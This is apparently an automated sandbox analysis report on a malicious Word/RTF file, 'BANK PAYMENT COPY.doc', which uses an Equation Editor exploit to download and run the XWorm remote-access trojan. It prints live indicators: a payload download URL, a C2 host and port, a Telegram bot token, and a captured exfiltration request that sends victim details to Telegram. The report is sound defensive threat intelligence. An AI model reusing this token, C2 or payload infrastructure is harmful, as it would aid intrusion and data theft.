Windows Analysis Report
BANK PAYMENT COPY.doc

Overview

General Information

Sample name:	BANK PAYMENT COPY.doc
Analysis ID:	1517840
MD5:	2ac91d79a602fe37092bd6f878f4ae2d
SHA1:	dfebe627e262e9edf9ee1fe2ebc706f4bd1356d3
SHA256:	30096d5c8c4854311558a13ab825884fa3accfb27de30f3e2ba85e70bf0f6ab7
Tags:	docuser-abuse_ch
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Initial sample is an obfuscated RTF file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Suricata IDS alerts for network traffic

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Equation Editor Network Connection

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Binary In User Directory Spawned From Office Application

Sigma detected: Suspicious Microsoft Office Child Process

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Powershell Defender Exclusion

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BANK PAYMENT COPY.doc

Avira: detected

Antivirus detection for URL or domain

Source: http://66.63.187.123/txt/vnobizxc.exe

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000005.00000002.427670214.0000000002651000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["various-wages.gl.at.ply.gg"], "Port": "55202", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.4", "Telegram URL": "https://api.telegram.org/bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\vnobizxc[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: BANK PAYMENT COPY.doc

ReversingLabs: Detection: 55%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\vnobizxc[1].exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: various-wages.gl.at.ply.gg
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: 55202
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: <123456789>
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: <Xwormmm>
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: XWorm V5.4
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: USB.exe
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: bc1q4ul0exh4vcd9z9fchkyc5rud8dtwsgkugpg2hu
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: 0xBAD33b9Ee3C66782641D7662A66557A167543AB8
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: TQHfQNjDo2mPrBMghaWA6fZLJ6zHLwXKn5
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: 7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack	String decryptor: 985088883

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 66.63.187.123 Port: 80

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obibingf24242.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\obibingf24242.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source:	Binary string: fSgG.pdbSHA256 source: EQNEDT32.EXE, 00000002.00000002.420099253.000000000028F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.420099253.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, obibingf24242.exe, 00000005.00000000.419128523.00000000011E2000.00000020.00000001.01000000.00000004.sdmp, obibingf24242.exe.2.dr, vnobizxc[1].exe.2.dr
Source:	Binary string: fSgG.pdb source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.420099253.000000000028F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.420099253.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, obibingf24242.exe, 00000005.00000000.419128523.00000000011E2000.00000020.00000001.01000000.00000004.sdmp, obibingf24242.exe.2.dr, vnobizxc[1].exe.2.dr

Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 66.63.187.123:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 149.154.167.220:443

Source: Network traffic	Suricata IDS: 2853193 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.22:49173 -> 147.185.221.22:55202
Source: Network traffic	Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 66.63.187.123:80 -> 192.168.2.22:49163
Source: Network traffic	Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 66.63.187.123:80 -> 192.168.2.22:49163
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.22:49164 -> 149.154.167.220:443

Source: Yara match	File source: 7.2.obibingf24242.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 147.185.221.22 147.185.221.22

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
Source: Joe Sandbox View	ASN Name: SALSGIVERUS SALSGIVERUS

Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123
Source: unknown	TCP traffic detected without corresponding DNS query: 66.63.187.123

Source: global traffic	HTTP traffic detected: GET /bot7503421576:AAFe-HqEJI6A9e-kdWp8RSPiI27fCE4Lw2Q/sendMessage?chat_id=985088883&text=%E2%98%A0%20%5BXWorm%20V5.4%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A04B2031D7209871FB96E%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%207%20Professional%20%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20Standard%20VGA%20Graphics%20Adapter%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.4 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /txt/vnobizxc.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: various-wages.gl.at.ply.gg

Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.420099253.000000000028F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.420099253.00000000002ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/vnobizxc.exe
Source: EQNEDT32.EXE, 00000002.00000002.420099253.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/vnobizxc.exeb:
Source: EQNEDT32.EXE, 00000002.00000002.420099253.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/vnobizxc.exej
Source: EQNEDT32.EXE, 00000002.00000002.420099253.000000000028F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/vnobizxc.exemmC:
Source: EQNEDT32.EXE, 00000002.00000002.420099253.00000000002ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://66.63.187.123/txt/vnobizxc.exeoC:
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: obibingf24242.exe, 00000005.00000002.427670214.0000000002651000.00000004.00000800.00020000.00000000.sdmp, obibingf24242.exe, 00000007.00000002.937469127.0000000002651000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: obibingf24242.exe, 00000005.00000002.427670214.0000000002651000.00000004.00000800.00020000.00000000.sdmp, obibingf24242.exe, 00000007.00000002.937469127.0000000002651000.00000004.00000800.00020000.00000000.sdmp, obibingf24242.exe, 00000007.00000002.936932565.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: obibingf24242.exe, 00000007.00000002.938006321.0000000005C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164

Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout

Source: BANK PAYMENT COPY.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 7.2.obibingf24242.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.obibingf24242.exe.265b624.3.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.obibingf24242.exe.2665904.6.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000007.00000002.936932565.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.427670214.0000000002651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\obibingf24242.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\vnobizxc[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_00210504	5_2_00210504
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_0021E8C0	5_2_0021E8C0
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_0021B0B8	5_2_0021B0B8
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_002111B0	5_2_002111B0
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_0021B4F0	5_2_0021B4F0
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_002147A8	5_2_002147A8
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_0021C8E8	5_2_0021C8E8
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_0021B928	5_2_0021B928
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_0021BE10	5_2_0021BE10
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_00213EE8	5_2_00213EE8
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 5_2_00212F50	5_2_00212F50
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 7_2_001C58C0	7_2_001C58C0
Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Code function: 7_2_001C4FF0	7_2_001C4FF0

Source: BANK PAYMENT COPY.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 7.2.obibingf24242.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.obibingf24242.exe.265b624.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.obibingf24242.exe.2665904.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000007.00000002.936932565.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.427670214.0000000002651000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: vnobizxc[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: obibingf24242.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Windows Analysis Report BANK PAYMENT COPY.doc

Overview

General Information

Detection

Signatures

Classification

Malware Threat Intel Provided by

Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Windows Analysis Report
BANK PAYMENT COPY.doc

Malware Threat Intel
Provided by

Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, Settings.cs	Base64 encoded string: 'jnxDCgaTMcMwYhKdiA0/tKI8/Kg/cnn8GHJWZDKEh0okrDm+mNQ2A54NeeFeivwu', 'L0+anQz0xL4RJfOh6xkSyVpKsrstIjy+9VAEvWldBMgNh4coKLQIfFbJKAtiWawL', 'm6aTSUtqKTZEVViuXc98ZpgQUptgC/4Z08GdDnEjSZygd3cs9h6PtA8rplIslDg/'
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, Settings.cs	Base64 encoded string: 'jnxDCgaTMcMwYhKdiA0/tKI8/Kg/cnn8GHJWZDKEh0okrDm+mNQ2A54NeeFeivwu', 'L0+anQz0xL4RJfOh6xkSyVpKsrstIjy+9VAEvWldBMgNh4coKLQIfFbJKAtiWawL', 'm6aTSUtqKTZEVViuXc98ZpgQUptgC/4Z08GdDnEjSZygd3cs9h6PtA8rplIslDg/'

Source: 5.2.obibingf24242.exe.3796750.8.raw.unpack, YqOlYl2eFwtfPkt21E.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obibingf24242.exe.f30000.1.raw.unpack, YqOlYl2eFwtfPkt21E.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obibingf24242.exe.37e2170.7.raw.unpack, YqOlYl2eFwtfPkt21E.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obibingf24242.exe.37e2170.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.SetAccessControl
Source: 5.2.obibingf24242.exe.37e2170.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obibingf24242.exe.37e2170.7.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.AddAccessRule
Source: 5.2.obibingf24242.exe.f30000.1.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.SetAccessControl
Source: 5.2.obibingf24242.exe.f30000.1.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obibingf24242.exe.f30000.1.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.AddAccessRule
Source: 5.2.obibingf24242.exe.3796750.8.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.SetAccessControl
Source: 5.2.obibingf24242.exe.3796750.8.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obibingf24242.exe.3796750.8.raw.unpack, D0OGH51qG7TrJUYkAK.cs	Security API names: _0020.AddAccessRule
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.obibingf24242.exe.265b624.3.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 5.2.obibingf24242.exe.2665904.6.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: C:\Users\user\AppData\Roaming\obibingf24242.exe	Mutant created: NULL
